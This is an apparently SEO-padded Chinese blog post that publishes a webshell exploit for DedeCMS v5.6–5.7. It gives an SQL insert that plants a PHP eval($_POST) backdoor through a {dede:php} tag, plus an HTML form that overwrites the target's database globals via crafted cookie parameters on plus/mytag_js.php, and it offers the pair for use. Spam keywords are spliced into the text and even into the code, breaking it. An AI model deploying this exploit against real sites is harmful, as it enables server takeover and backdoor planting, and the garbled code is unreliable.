導(dǎo)讀:織夢(mèng)技術(shù)織夢(mèng)技術(shù)昨天自己的一個(gè)網(wǎng)站中毒了，花了N天時(shí)間沒有找出來(lái)，前天沒事搜索了一下dedecms漏洞,結(jié)果發(fā)現(xiàn)V5.6/V5.7漏洞一堆一堆的，下面我收集了現(xiàn)在Dedecmsdede免費(fèi)校板下戰(zhàn)織夢(mèng)模板免費(fèi)。

   

DedeCms v5.6-5.7 最新漏洞 拿 WebShell EXP (5.18)

前題條件，必須準(zhǔn)備好自己的dede，然后插入數(shù)據(jù)：

 以下是引用片段：

 代碼如下

insert into dede_mytag(aid,normbody) values(1,'{dede:php}$fp = @("1.php"織夢(mèng)模板, 'a');@fwrite($fp, '<?php eval($_POST[c]) ?>');echo "OK";@fclose($fp);{/dede:php}');  

再用下面表單提交，shell 就在同目錄下  1.php。原理自己研究。。。

  以下是引用片段：

 代碼如下

 <form action="" method="post" name="QuickSearch" id="QuickSearch" onsubmit="addaction();"> <input type="text" value="http://localhost:8080/plus/mytag_js.php?aid=1" name="doaction" style="width:400"><br /> <input type="text" value="dbhost" name="_COOKIE[GLOBALS][cfg_dbhost]" style="width:400"><br /> <input type="text" value="dbuser" name="_COOKIE[GLOBALS][cfg_dbuser]" style="width:400"><br /> <input type="text" value="dbpwd" name="_COOKIE[GLOBALS][cfg_dbpwd]" style="width:400"><br /> <input type="text" value="dbname" name="_COOKIE[GLOBALS][cfg_dbname]" style="width:400"><br /> <input type="text" value="dede_" name="_COOKIE[GLOBALS][cfg_dbprefix]" style="width:400"><br /> <input type="text" value="true" name="nocache" style="width:400"> <input type="submit" value="提交" name="QuickSearchBtn"><br /> </form> <script> function addaction() { document.QuickSearch.action=document.QuickSearch.doaction.value; } </script>

關(guān)鍵詞標(biāo)簽: 織夢(mèng) 標(biāo)簽 漏洞